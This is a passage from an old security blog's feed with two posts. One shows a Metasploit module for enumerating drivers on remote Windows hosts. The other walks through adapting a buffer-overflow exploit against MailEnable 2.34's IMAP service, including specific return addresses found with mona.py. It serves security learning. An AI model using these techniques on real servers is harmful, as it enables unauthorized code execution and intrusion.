&lt;a href="http://feedads.g.doubleclick.net/~a/Gz5-Fsz-x1DycAfOkXNCfAsX2UU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Gz5-Fsz-x1DycAfOkXNCfAsX2UU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/VjHtyuS0aXg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/8384759404664343054/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/08/inverting-ebooks-for-better-reading.html#comment-form" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/8384759404664343054?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/8384759404664343054?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/VjHtyuS0aXg/inverting-ebooks-for-better-reading.html" title="Inverting ebooks for better reading" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>3</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/08/inverting-ebooks-for-better-reading.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0YNQ34zeSp7ImA9WhdXEU4.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-5754183554904809632</id><published>2011-08-23T14:17:00.000-06:00</published><updated>2011-08-23T14:26:32.081-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-23T14:26:32.081-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><title>Enumerating hardware on remote systems running Windows with Metasploit</title><content type="html">At Arlington Computer Care where I work, I needed (really, just wanted) a way to enumerate the hardware drivers on an arbitrary host on the shops network. The reason is two-fold: We can pinpoint old drivers to the customer and we know what drivers to look for specifically when reloading a machine. Metasploit already has a rich API for gathering information from remote hosts, and since I wanted to perform this check from a Linux box, it was the most obvious choice for me. Plus, I have a lot of experience with it already.
&lt;br /&gt;
&lt;br /&gt;Metasploit, however, did not have the functionality I wanted. To gather the hardware information from a remote host was going to entail writing a new post module, which I hadn't done before. I have written exploits in the past for, but no post modules. I found it was very fun and rewarding. It has been accepted into trunk for a week or two now, and here are the details on it.
&lt;br /&gt;
&lt;br /&gt;&lt;pre&gt;
&lt;br /&gt;msf  post(enum_devices) &gt; info
&lt;br /&gt;
&lt;br /&gt;       Name: Windows Hardware Enumeration
&lt;br /&gt;     Module: post/windows/gather/enum_devices
&lt;br /&gt;    Version: 13559
&lt;br /&gt;   Platform: Windows
&lt;br /&gt;       Arch: 
&lt;br /&gt;       Rank: Normal
&lt;br /&gt;
&lt;br /&gt;Provided by:
&lt;br /&gt;  Brandon Perry
&lt;br /&gt;
&lt;br /&gt;Description:
&lt;br /&gt;  Enumerate PCI hardware information from the registry. Please note 
&lt;br /&gt;  this script will run through registry subkeys such as: 'PCI', 
&lt;br /&gt;  'ACPI', 'ACPI_HAL', 'FDC', 'HID', 'HTREE', 'IDE', 'ISAPNP', 
&lt;br /&gt;  'LEGACY'', LPTENUM', 'PCIIDE', 'SCSI', 'STORAGE', 'SW', and 'USB'; 
&lt;br /&gt;  it will take time to finish. It is recommended to run this module as 
&lt;br /&gt;  a background job.
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;msf  post(enum_devices) &gt; 
&lt;br /&gt;&lt;/pre&gt; 
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Some example output:
&lt;br /&gt;
&lt;br /&gt;&lt;pre&gt;
&lt;br /&gt;msf  exploit(handler) &gt; use post/windows/gather/enum_devices 
&lt;br /&gt;msf  post(enum_devices) &gt; set SESSION 1
&lt;br /&gt;SESSION =&gt; 1
&lt;br /&gt;msf  post(enum_devices) &gt; run
&lt;br /&gt;
&lt;br /&gt;[*] Enumerating hardware on WIN-684G41EV82S
&lt;br /&gt;^C[-] Post interrupted by the console user
&lt;br /&gt;[*] Post module execution completed
&lt;br /&gt;msf  post(enum_devices) &gt; set VERBOSE true
&lt;br /&gt;VERBOSE =&gt; true
&lt;br /&gt;msf  post(enum_devices) &gt; run
&lt;br /&gt;
&lt;br /&gt;[*] Enumerating hardware on WIN-684G41EV82S
&lt;br /&gt;[*] Enumerating VEN_1000&amp;DEV_0054&amp;SUBSYS_197615AD&amp;REV_01
&lt;br /&gt;[*] Enumerating VEN_1274&amp;DEV_1371&amp;SUBSYS_13711274&amp;REV_02
&lt;br /&gt;[*] Enumerating VEN_15AD&amp;DEV_0405&amp;SUBSYS_040515AD&amp;REV_00
&lt;br /&gt; ...snip for brevity...
&lt;br /&gt;[*] Enumerating VID_0E0F&amp;PID_0003&amp;MI_01
&lt;br /&gt;
&lt;br /&gt;Device Information
&lt;br /&gt;==================
&lt;br /&gt;
&lt;br /&gt; Device Description                                               Driver Version  Class           Manufacturer                          Extra
&lt;br /&gt; ------------------                                               --------------  -----           ------------                          -----
&lt;br /&gt; LSI Adapter, SAS 3000 series, 8-port with 1068                   1.28.3.52       SCSIAdapter     LSI                                   
&lt;br /&gt; VMware VMaudio (VMAUDIO) (WDM)                                   5.10.0.3506     MEDIA           VMware, Inc.                          
&lt;br /&gt; VMware SVGA 3D (Microsoft Corporation - WDDM)                    7.14.1.42       Display         VMware, Inc.                          
&lt;br /&gt; VMware VMCI Bus Device                                                           System          VMware, Inc.                          
&lt;br /&gt; Standard Enhanced PCI to USB Host Controller                     6.1.7601.17586  USB             (Standard USB Host Controller)        
&lt;br /&gt; PCI standard PCI-to-PCI bridge                                   6.1.7601.17514  System          (Standard system devices)             
&lt;br /&gt; PCI Express standard Root Port                                   6.1.7601.17514  System          (Standard system devices)             
&lt;br /&gt; PCI Express standard Root Port                                                   System          (Standard system devices)             
&lt;br /&gt; Intel(R) PRO/1000 MT Network Connection                          8.4.1.1         Net             Intel                                 
&lt;br /&gt; Intel 82371AB/EB PCI to ISA bridge (ISA mode)                    6.1.7601.17514  System          Intel                                 
&lt;br /&gt; Intel(R) 82371AB/EB PCI to USB Universal Host Controller         6.1.7601.17586  USB             Intel                                 
&lt;br /&gt; Intel 82443BX Pentium(R) II Processor to PCI Bridge              6.1.7601.17514  System          Intel                                 
&lt;br /&gt; Intel 82443BX Pentium(R) II Processor to AGP Controller          6.1.7601.17514  System          Intel                                 
&lt;br /&gt; Microsoft AC Adapter                                             6.1.7600.16385  Battery         Microsoft                             
&lt;br /&gt; AMD Processor                                                    6.1.7600.16385  Processor       Advanced Micro Devices                AMD Phenom(tm) 9850 Quad-Core Processor
&lt;br /&gt; ACPI Fixed Feature Button                                        6.1.7601.17514  System          (Standard system devices)             
&lt;br /&gt; EISA programmable interrupt controller                           6.1.7601.17514  System          (Standard system devices)             
&lt;br /&gt; System timer                                                     6.1.7601.17514  System          (Standard system devices)             
&lt;br /&gt; Direct memory access controller                                  6.1.7601.17514  System          (Standard system devices)             
&lt;br /&gt; Standard PS/2 Keyboard                                           6.1.7601.17514  Keyboard        (Standard keyboards)                  
&lt;br /&gt; Printer Port                                                     6.1.7600.16385  Ports           (Standard port types)                 Printer Port (LPT1)
&lt;br /&gt; Communications Port                                              6.1.7600.16385  Ports           (Standard port types)                 Communications Port (COM1)
&lt;br /&gt; Communications Port                                              6.1.7600.16385  Ports           (Standard port types)                 Communications Port (COM2)
&lt;br /&gt; Standard floppy disk controller                                  6.1.7600.16385  fdc             (Standard floppy disk controllers)    
&lt;br /&gt; System speaker                                                   6.1.7601.17514  System          (Standard system devices)             
&lt;br /&gt; PCI bus                                                          6.1.7601.17514  System          (Standard system devices)             
&lt;br /&gt; Generic Bus                                                      6.1.7601.17514  System          (Standard system devices)             
&lt;br /&gt; System CMOS/real time clock                                      6.1.7601.17514  System          (Standard system devices)             
&lt;br /&gt; Motherboard resources                                            6.1.7601.17514  System          (Standard system devices)             
&lt;br /&gt; VMware Pointing Device                                           12.4.0.6        Mouse           VMware, Inc.                          
&lt;br /&gt; Microsoft ACPI-Compliant System                                  6.1.7601.17514  System          Microsoft                             
&lt;br /&gt; Floppy disk drive                                                6.1.7600.16385  FloppyDisk      (Standard floppy disk drives)         
&lt;br /&gt; HID-compliant mouse                                              6.1.7600.16385  Mouse           Microsoft                             
&lt;br /&gt; CD-ROM Drive                                                     6.1.7601.17514  CDROM           (Standard CD-ROM drives)              HL-DT-ST DVD-RAM GSA-H55N ATA Device
&lt;br /&gt; Printer Port Logical Interface                                   6.1.7601.17514  System          (Standard system devices)             LPT1
&lt;br /&gt; IDE Channel                                                      6.1.7601.17514  hdc             (Standard IDE ATA/ATAPI controllers)  
&lt;br /&gt; Microsoft ISATAP Adapter                                         6.1.7600.16385  Net             Microsoft                             
&lt;br /&gt; Microsoft Teredo Tunneling Adapter                               6.1.7600.16385  Net             Microsoft                             
&lt;br /&gt; ACPI x86-based PC                                                6.1.7600.16385  Computer        (Standard computers)                  
&lt;br /&gt; File as Volume Driver                                            6.1.7600.16385  System          Microsoft                             
&lt;br /&gt; Composite Bus Enumerator                                         6.1.7601.17514  System          Microsoft                             
&lt;br /&gt; Microsoft Composite Battery                                      6.1.7600.16385  Battery         Microsoft                             
&lt;br /&gt; Beep                                                                             LegacyDriver                                          
&lt;br /&gt; CNG                                                                              LegacyDriver                                          
&lt;br /&gt; LDDM Graphics Subsystem                                                          LegacyDriver                                          
&lt;br /&gt; FAT12/16/32 File System Driver                                                                                                         
&lt;br /&gt; Fs_Rec                                                                           LegacyDriver                                          
&lt;br /&gt; KSecDD                                                                           LegacyDriver                                          
&lt;br /&gt; KSecPkg                                                                          LegacyDriver                                          
&lt;br /&gt; Link-Layer Topology Discovery Mapper I/O Driver                                  LegacyDriver                                          
&lt;br /&gt; Msfs                                                                             LegacyDriver                                          
&lt;br /&gt; msisadrv                                                                         LegacyDriver                                          
&lt;br /&gt; NDProxy                                                                          LegacyDriver                                          
&lt;br /&gt; NetBIOS Interface                                                                LegacyDriver                                          
&lt;br /&gt; Npfs                                                                             LegacyDriver                                          
&lt;br /&gt; Ntfs                                                                             LegacyDriver                                          
&lt;br /&gt; Parvdm                                                                           LegacyDriver                                          
&lt;br /&gt; Performance Counters for Windows Driver                                          LegacyDriver                                          
&lt;br /&gt; PEAUTH                                                                           LegacyDriver                                          
&lt;br /&gt; Link-Layer Topology Discovery Responder                                          LegacyDriver                                          
&lt;br /&gt; Security Driver                                                                  LegacyDriver                                          
&lt;br /&gt; Security Processor Loader Driver                                                 LegacyDriver                                          
&lt;br /&gt; srvnet                                                                           LegacyDriver                                          
&lt;br /&gt; TCP/IP Registry Compatibility                                                    LegacyDriver                                          
&lt;br /&gt; udfs                                                                             LegacyDriver                                          
&lt;br /&gt; VgaSave                                                                          LegacyDriver                                          
&lt;br /&gt; vmhgfs                                                                           LegacyDriver                                          
&lt;br /&gt; Memory Control Driver                                                            LegacyDriver                                          
&lt;br /&gt; VMware Vista Physical Disk Helper                                                LegacyDriver                                          
&lt;br /&gt; Storage volumes                                                                  LegacyDriver                                          
&lt;br /&gt; Kernel Mode Driver Frameworks service                                            LegacyDriver                                          
&lt;br /&gt; WFP Lightweight Filter                                                           LegacyDriver                                          
&lt;br /&gt; Windows Socket 2.0 Non-IFS Service Provider Support Environment                  LegacyDriver                                          
&lt;br /&gt; Microsoft System Management BIOS Driver                          6.1.7601.17514  System          (Standard system devices)             
&lt;br /&gt; WAN Miniport (IKEv2)                                             6.1.7601.17514  Net             Microsoft                             
&lt;br /&gt; WAN Miniport (L2TP)                                              6.1.7600.16385  Net             Microsoft                             
&lt;br /&gt; WAN Miniport (Network Monitor)                                   6.1.7600.16385  Net             Microsoft                             
&lt;br /&gt; WAN Miniport (IP)                                                6.1.7600.16385  Net             Microsoft                             
&lt;br /&gt; WAN Miniport (IPv6)                                              6.1.7600.16385  Net             Microsoft                             
&lt;br /&gt; WAN Miniport (PPPOE)                                             6.1.7600.16385  Net             Microsoft                             
&lt;br /&gt; WAN Miniport (PPTP)                                              6.1.7600.16385  Net             Microsoft                             
&lt;br /&gt; WAN Miniport (SSTP)                                              6.1.7600.16385  Net             Microsoft                             
&lt;br /&gt; Remote Desktop Device Redirector Bus                             6.1.7600.16385  System          Microsoft                             
&lt;br /&gt; Terminal Server Keyboard Driver                                  6.1.7601.17514  System          (Standard system devices)             
&lt;br /&gt; Terminal Server Mouse Driver                                     6.1.7601.17514  System          (Standard system devices)             
&lt;br /&gt; Plug and Play Software Device Enumerator                         6.1.7601.17514  System          (Standard system devices)             
&lt;br /&gt; UMBus Root Bus Enumerator                                        6.1.7601.17514  System          Microsoft                             
&lt;br /&gt; Microsoft Virtual Drive Enumerator Driver                        6.1.7601.17514  System          (Standard system devices)             
&lt;br /&gt; Volume Manager                                                   6.1.7601.17514  System          (Standard system devices)             
&lt;br /&gt; Disk drive                                                       6.1.7600.16385  DiskDrive       (Standard disk drives)                VMware, VMware Virtual S SCSI Disk Device
&lt;br /&gt; Generic volume                                                   6.1.7601.17514  Volume          Microsoft                             
&lt;br /&gt; Generic volume shadow copy                                       6.1.7600.16385  VolumeSnapshot  Microsoft                             
&lt;br /&gt; Microsoft Streaming Service Proxy                                6.1.7600.16385  MEDIA           Microsoft                             
&lt;br /&gt; Microsoft Streaming Clock Proxy                                  6.1.7600.16385  MEDIA           Microsoft                             
&lt;br /&gt; Microsoft Streaming Tee/Sink-to-Sink Converter                   6.1.7600.16385  MEDIA           Microsoft                             
&lt;br /&gt; Microsoft Streaming Quality Manager Proxy                        6.1.7600.16385  MEDIA           Microsoft                             
&lt;br /&gt; RAS Async Adapter                                                6.1.7600.16385  Net             Microsoft                             
&lt;br /&gt; Microsoft Trusted Audio Drivers                                  6.1.7600.16385  MEDIA           Microsoft                             
&lt;br /&gt; USB Root Hub                                                     6.1.7601.17586  USB             (Standard USB Host Controller)        
&lt;br /&gt; Generic USB Hub                                                  6.1.7601.17586  USB             (Generic USB Hub)                     Port_#0002.Hub_#0001
&lt;br /&gt; USB Composite Device                                             6.1.7601.17586  USB             (Standard USB Host Controller)        Port_#0001.Hub_#0001
&lt;br /&gt; USB Input Device                                                 6.1.7601.17514  HIDClass        (Standard system devices)             0002.0000.0000.001.000.000.000.000.000
&lt;br /&gt;
&lt;br /&gt;[*] Results saved in: /root/.msf4/loot/20110823151419_default_192.168.1.146_host.hardware_345918.txt
&lt;br /&gt;[*] Post module execution completed
&lt;br /&gt;msf  post(enum_devices) &gt;
&lt;br /&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;I am also working on a post module which enumerates popular software keys (office and windows keys atm).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7234216734688094130-5754183554904809632?l=volatile-minds.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/7gF6fIjQNF2C0Ia3OgBRnRtS-g0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7gF6fIjQNF2C0Ia3OgBRnRtS-g0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/7gF6fIjQNF2C0Ia3OgBRnRtS-g0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7gF6fIjQNF2C0Ia3OgBRnRtS-g0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/VolatileMinds/~4/3OCusHWjXUE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://volatile-minds.blogspot.com/feeds/5754183554904809632/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://volatile-minds.blogspot.com/2011/08/enumerating-hardware-on-remote-systems.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/5754183554904809632?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7234216734688094130/posts/default/5754183554904809632?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/VolatileMinds/~3/3OCusHWjXUE/enumerating-hardware-on-remote-systems.html" title="Enumerating hardware on remote systems running Windows with Metasploit" /><author><name>Brandon Perry</name><uri>http://www.blogger.com/profile/04227634714412263524</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-FJO21-rztvs/TqspC1JU_tI/AAAAAAAAAME/olpwtY2amXc/s220/2011-10-28-171152.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://volatile-minds.blogspot.com/2011/08/enumerating-hardware-on-remote-systems.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEQMRHg-cSp7ImA9WhdTEE0.&quot;"><id>tag:blogger.com,1999:blog-7234216734688094130.post-297098973141348026</id><published>2011-07-06T17:52:00.000-06:00</published><updated>2011-07-06T20:39:45.659-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-06T20:39:45.659-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu-only" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><title>Breaking MailEnable 2.34: A lesson in security featuring Metasploit, Immunity Debugger, and mona.py</title><content type="html">Not that this is any major feat, but I thought it would do as a nice primer to investigating bugs &lt;a href="http://www.immunityinc.com/products-immdbg.shtml"&gt;Immunity Debugger&lt;/a&gt; and &lt;a href="http://redmine.corelan.be/projects/mona"&gt;mona.py&lt;/a&gt; and exploiting them with &lt;a href="http://www.metasploit.com/download/"&gt;Metasploit&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I was researching a vulnerability today, Metasploit has a module called mailenable_login with a target of MailEnable 2.35. Doing some research into the exploit, it is a buffer overflow, and not just 2.35 is vulnerable to this bug. From the &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6423"&gt;CVE&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;Stack-based buffer overflow in the IMAP service for MailEnable Professional and Enterprise Edition 2.0 through 2.35, Professional Edition 1.6 through 1.84, and Enterprise Edition 1.1 through 1.41 allows remote attackers to execute arbitrary code via a pre-authentication command followed by a crafted parameter and a long string, as addressed by the ME-10025 hotfix.&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;This is a good thing, because after searching for about an hour, I hadn't found an installer for the 2.35 version. The &lt;a href="http://www.mailenable.com/history/"&gt;official historical archive&lt;/a&gt; for the MailEnable releases has that release conspicuously missing. However, other reportedly vulnerable releases, such as 2.34 was available. I happily obliged and grabbed 2.34, in hopes I would be able to get it to work without too much effort.&lt;br /&gt;&lt;br /&gt;Well, short story short, the target in the module didn't "just work" as I had hoped. But it did crash the server, which was interesting. I decided to look further. I am not very seasoned at this type of debugging, so the guys in #corelan on irc.freenode.net were my first stop for getting pushed in the right direction. &lt;br /&gt;&lt;br /&gt;Up until now, I had been using WinDbg, a debugger offered by Microsft with their Driver development kit. corelanc0der offered some better advice, grab a copy of Immunity Debugger and mona.py. After installing Immunity Debugger, I dropped mona.py in the PyCommands folder in the Immunity Debugger folder in Program Files. This enables me to utilize the "swiss army knife" the corelan team developped to speed up exploit development. I don't fully understand it, but already can see it is quite powerful. The first thing I had to do was crash the service, in this case MEIMAPS.exe. I attached Immunity Debugger to the currently running MEIMAPS.exe (it is run as a service automagically at startup). I know how to crash it, just run the 2.35 target against, and bam.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-4zhrzO4K3Lw/ThUKgMTxBYI/AAAAAAAAAKI/cD1nSlXwt3A/s1600/MailEnable%2B%2540%2B2011-07-06%2B19%253A25%253A21.png"&gt;&lt;img style="margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 234px; height: 400px;" src="http://1.bp.blogspot.com/-4zhrzO4K3Lw/ThUKgMTxBYI/AAAAAAAAAKI/cD1nSlXwt3A/s400/MailEnable%2B%2540%2B2011-07-06%2B19%253A25%253A21.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5626414857645524354" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Notice how EIP is the same address as the return address in the original 2.35 target...&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-y-Ri67NDuY8/ThUK_D5WUMI/AAAAAAAAAKQ/lCvtB27WEbQ/s1600/Screenshot-bperry%2540bperry-desktop%253A%2B-opt-metasploit3-msf3-modules-exploits-windows-imap.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 181px;" src="http://2.bp.blogspot.com/-y-Ri67NDuY8/ThUK_D5WUMI/AAAAAAAAAKQ/lCvtB27WEbQ/s400/Screenshot-bperry%2540bperry-desktop%253A%2B-opt-metasploit3-msf3-modules-exploits-windows-imap.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5626415387963183298" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So, that obviously doesn't work, we don't like access violations. Maybe mona.py can show us some better places to exploit this application. But in order to do this, I need to make a few changes to the original metasploit module. Open it up in your favorite text editor, I did it in vim, and change your sploit. Comment out the original and add your own.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-G2ib9tfFYy4/ThULtXE5hQI/AAAAAAAAAKY/lOCB6deFe6E/s1600/Screenshot_sploit_edit.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 250px;" src="http://2.bp.blogspot.com/-G2ib9tfFYy4/ThULtXE5hQI/AAAAAAAAAKY/lOCB6deFe6E/s400/Screenshot_sploit_edit.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5626416183385883906" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Check out this &lt;a href="http://en.wikibooks.org/wiki/Metasploit/WritingWindowsExploit#Fine_tuning"&gt;rather old article&lt;/a&gt; with details on pattern_create(). This gives mona.py some data to work with that is comprehensible, easy to traverse, and gather information about. A really cool feature of mona.py is that it will generate a template for your exploit with offsets and return pointers used to execute arbitrary commands. All you do is fill in the blanks. Let's see what mona.py has to offer:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-bPPxrMzX5Lg/ThUNH-cNXtI/AAAAAAAAAKg/HLrDq-DZya8/s1600/MailEnable%2B%2540%2B2011-07-06%2B19%253A56%253A10.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 250px;" src="http://4.bp.blogspot.com/-bPPxrMzX5Lg/ThUNH-cNXtI/AAAAAAAAAKg/HLrDq-DZya8/s400/MailEnable%2B%2540%2B2011-07-06%2B19%253A56%253A10.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5626417740140863186" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If mona.py finds somethings it thinks is useful, you will get a small popup with predefined templates in a drop down box. I chose the remote client (tcp) template. Another series of popup dialogs will popup, one meaningful, and another not so meangingful. The former is the remote port to listen on. The latter is the Exploit-db id. Ironically, due to a bug in Immunity debugger, your answer the in remote port box will carry over into the next box, the exploit db id box. &lt;span style="font-weight:bold;"&gt;You do not want this.&lt;/span&gt; Be sure to clear it out if you don't want to include the exploit-db id.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-wpTPwCXV1aE/ThUOgsnk4UI/AAAAAAAAAKo/jmQaNCZfDnc/s1600/MailEnable%2B%2540%2B2011-07-06%2B19%253A56%253A26.png"&gt;&lt;img style="display:block; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 335px; height: 241px;" src="http://2.bp.blogspot.com/-wpTPwCXV1aE/ThUOgsnk4UI/AAAAAAAAAKo/jmQaNCZfDnc/s400/MailEnable%2B%2540%2B2011-07-06%2B19%253A56%253A26.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5626419264365060418" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-cfuEr0yb4Jo/ThUOrDA4ByI/AAAAAAAAAKw/4xSO9O0yv0g/s1600/MailEnable%2B%2540%2B2011-07-06%2B19%253A56%253A42.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 341px; height: 231px;" src="http://4.bp.blogspot.com/-cfuEr0yb4Jo/ThUOrDA4ByI/AAAAAAAAAKw/4xSO9O0yv0g/s400/MailEnable%2B%2540%2B2011-07-06%2B19%253A56%253A42.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5626419442175444770" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Anyways, enough with silly dialogs. When everything is said and done, inside C:\Program Files\Immunity Inc\Immunity Debugger\ will lie an exploit.rb file. This is your exploit module shell for Metasploit. Be sure to check it over, it may not be optimal, even if it does *work*.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-Ake1p2sMfns/ThUPwgTSBKI/AAAAAAAAAK4/vCdDEOHHUMM/s1600/MailEnable%2B%2540%2B2011-07-06%2B19%253A57%253A28.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 250px;" src="http://4.bp.blogspot.com/-Ake1p2sMfns/ThUPwgTSBKI/AAAAAAAAAK4/vCdDEOHHUMM/s400/MailEnable%2B%2540%2B2011-07-06%2B19%253A57%253A28.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5626420635448247458" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hmm, looks like it'll work. But what the fudge is CLBCATQ.DLL? We want something a little more standard than this. Luckily, mona.py has some tools specifically for this.&lt;br /&gt;We know we want a jmp/push esp. push was denoted in the generated module. It works, but let's try a jmp first, it is what the first target uses, so it would be a little bit more straightforward and consistent. &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-gbhkQicCCws/ThUSirma8AI/AAAAAAAAALA/nFXWR6H-Bo0/s1600/MailEnable%2B%2540%2B2011-07-06%2B20%253A51%253A37.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 250px;" src="http://4.bp.blogspot.com/-gbhkQicCCws/ThUSirma8AI/AAAAAAAAALA/nFXWR6H-Bo0/s400/MailEnable%2B%2540%2B2011-07-06%2B20%253A51%253A37.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5626423696498028546" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cool! We found 2 pointers in a pretty freaking stable place, MSVCP60.DLL. Let's take a closer look.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-G4ec9PBVJ8M/ThUTpQqbPfI/AAAAAAAAALI/DocTLqF3Dms/s1600/MailEnable%2B%2540%2B2011-07-06%2B19%253A58%253A49.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 250px;" src="http://4.bp.blogspot.com/-G4ec9PBVJ8M/ThUTpQqbPfI/AAAAAAAAALI/DocTLqF3Dms/s400/MailEnable%2B%2540%2B2011-07-06%2B19%253A58%253A49.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5626424909037780466" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cool, so we have one jmp and one push. Remember our original exploit.rb that mona.py generated for us? The return address that it defines in CLBCATQ.DLL (0x76ffcb51) can be replaced with either of these addresses (0x76095d68 is the push and 0x760a9d6e is the jmp) in MSVCP60.DLL. The two addresses are printed out to the screen right above the red text. The two lines each begin with an address and either of these will do. We need to dig into the metasploit framework now. We need to add the target, which should really work for more than just this 2.34 release. The CVE lists a few in the 2.3x range. I think it should hit all of them, but am willing to eat my words.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-J3yDyJtK25c/ThUW3YAb0OI/AAAAAAAAALQ/0yEQSn6GiZw/s1600/Screenshot-root%2540bperry-laptop%253A%2B-home-bperry.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 191px;" src="http://4.bp.blogspot.com/-J3yDyJtK25c/ThUW3YAb0OI/AAAAAAAAALQ/0yEQSn6GiZw/s400/Screenshot-root%2540bperry-laptop%253A%2B-home-bperry.png" border="0" 